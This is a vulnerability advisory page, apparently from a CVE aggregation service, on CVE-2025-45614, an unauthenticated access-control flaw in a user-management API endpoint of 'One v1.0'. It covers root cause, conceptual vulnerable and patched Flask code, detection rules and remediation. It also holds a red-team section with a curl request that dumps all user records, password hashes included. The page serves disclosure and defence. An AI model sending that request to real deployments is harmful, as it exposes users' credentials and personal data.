CVE-2025-45614
Executive Summary
CVE-2025-45614 is a critical access control vulnerability in the /api/user/manager endpoint of One v1.0. The flaw allows unauthenticated attackers to bypass authorization checks and access sensitive user management data, including potentially user credentials, roles, and personal identifiable information (PII). The vulnerability stems from missing or insufficient access control checks on the server-side API handler. Given the lack of a patch and the public nature of the proof-of-concept, this vulnerability poses a high risk to any deployment of One v1.0. Immediate mitigation steps are required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and does not involve a supply chain component. The risk is confined to the application's own API implementation.
CVSS Breakdown & Threat Level
While a CVSS vector is not provided, based on the description and impact, a reasonable assessment is:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
- Confidentiality (C): High (H) – Sensitive user data is exposed.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Estimated CVSS Score: 7.5 (High)
Threat Level: High. The vulnerability is trivial to exploit and exposes sensitive data.
Deep Dive & Mechanics
The vulnerability exists in the /api/user/manager endpoint of the One application (v1.0). This endpoint is designed to provide administrative access to user management functions, such as listing users, viewing profiles, and modifying roles. The flaw is an Incorrect Access Control (CWE-284).
Root Cause: The server-side code for the /api/user/manager endpoint does not properly validate the user's session or authentication token before processing the request. It likely relies on client-side checks or assumes that only authenticated administrators will access the endpoint. An attacker can craft a direct HTTP request to this endpoint without any valid session cookie or authorization header.
Attack Vector:
- The attacker identifies a target running One v1.0.
- The attacker sends a crafted HTTP GET or POST request to
http://target.com/api/user/managerwith a malicious payload (e.g., a JSON object containing{"action":"listAll"}or similar). - The server processes the request without verifying the attacker's identity, returning sensitive user data in the response.
Impact: Full disclosure of all user accounts, including usernames, email addresses, hashed passwords, roles, and other profile data. This can lead to account takeover, privilege escalation, and further lateral movement within the application.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual - Python/Flask):
@app.route('/api/user/manager', methods=['GET', 'POST'])
def user_manager():
# VULNERABLE: No authentication check
data = request.get_json()
action = data.get('action')
if action == 'listAll':
users = db.query("SELECT * FROM users")
return jsonify(users)
# ... other actions
Patched Code (Conceptual):
@app.route('/api/user/manager', methods=['GET', 'POST'])
@require_admin_auth # Decorator that checks for valid admin session
def user_manager():
# Now safe: only authenticated admins reach this code
data = request.get_json()
action = data.get('action')
if action == 'listAll':
users = db.query("SELECT * FROM users")
return jsonify(users)
# ... other actions
The fix involves adding a server-side authentication and authorization check (e.g., a decorator or middleware) that validates the user's session token and ensures they have the admin role before processing the request.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a local instance of One v1.0 (e.g., using Docker:
docker run -p 8080:80 one/one:1.0). - Ensure the application is running and accessible at
http://localhost:8080.
Exploitation Steps:
- Reconnaissance: Use a tool like
curlor Burp Suite to probe the endpoint. - Craft Payload: Create a JSON payload that triggers data retrieval. For example:
{"action": "listAll", "format": "json"} - Send Request: Execute the following
curlcommand:curl -X POST http://localhost:8080/api/user/manager \ -H "Content-Type: application/json" \ -d '{"action":"listAll","format":"json"}' - Extract Data: The server will respond with a JSON array of all user objects, including sensitive fields.
Expected Output (Example):
[
{
"id": 1,
"username": "admin",
"email": "admin@example.com",
"password_hash": "$2y$10$...",
"role": "admin"
},
{
"id": 2,
"username": "user1",
"email": "user1@example.com",
"password_hash": "$2y$10$...",
"role": "user"
}
]
Blue Team (Defensive)
Detection & Response:
- Monitor API Access Logs: Look for requests to
/api/user/managerfrom IP addresses that are not in the trusted admin network range. - Anomaly Detection: Alert on any request to
/api/user/managerthat does not include a valid session cookie (sessionidorAuthorizationheader). - Rate Limiting: Implement strict rate limiting on the
/api/user/managerendpoint to slow down brute-force or scraping attempts. - Web Application Firewall (WAF): Create a rule to block requests to
/api/user/managerthat do not contain a valid authentication token. - Immediate Mitigation: If patching is not possible, disable the endpoint entirely by removing or renaming the route in the application code, or block it at the reverse proxy level (e.g., Nginx, Apache).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/api/user/managerwith methods GET or POST. - Requests containing JSON payloads with keys like
action,listAll,format. - Responses containing arrays of user objects with fields
username,email,password_hash,role.
- HTTP requests to
- File IOCs:
- Unusual log entries in the application's access log showing repeated hits to
/api/user/managerfrom a single IP.
- Unusual log entries in the application's access log showing repeated hits to
- Behavioral IOCs:
- Sudden increase in failed login attempts (if attackers use extracted credentials).
- Unauthorized changes to user roles or permissions.
Detection Engineering
YARA Rule
rule CVE_2025_45614_One_Access_Control {
meta:
description = "Detects exploitation attempts of CVE-2025-45614 in One v1.0"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-45614"
strings:
$endpoint = "/api/user/manager"
$payload1 = "listAll"
$payload2 = "format"
$sensitive_field = "password_hash"
condition:
$endpoint and ($payload1 or $payload2) and $sensitive_field
}
Sigma Rule
title: CVE-2025-45614 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable /api/user/manager endpoint in One v1.0
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-stem: "/api/user/manager"
cs-method:
- "GET"
- "POST"
condition: selection
falsepositives:
- Legitimate admin activity (if authentication is properly enforced)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-45614 - One v1.0 /api/user/manager Access Control Bypass"; flow:to_server; content:"/api/user/manager"; http_uri; content:"listAll"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Endpoint: If possible, remove or disable the
/api/user/managerroute in the application code. This is the most effective short-term fix. - Implement Authentication: Add server-side authentication checks to the endpoint. Ensure that only users with a valid session and the
adminrole can access it. - Apply Input Validation: Validate all input parameters to prevent injection attacks.
- Upgrade: Monitor the vendor (One) for an official patch. If a patched version (e.g., v1.0.1) is released, upgrade immediately.
Long-Term Measures:
- Security Audit: Conduct a full security audit of all API endpoints to identify similar access control issues.
- Implement RBAC: Use a robust Role-Based Access Control (RBAC) framework.
- Web Application Firewall: Deploy a WAF with custom rules to block unauthenticated requests to sensitive endpoints.
- Logging & Monitoring: Enable detailed logging for all API requests and set up alerts for suspicious activity.
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.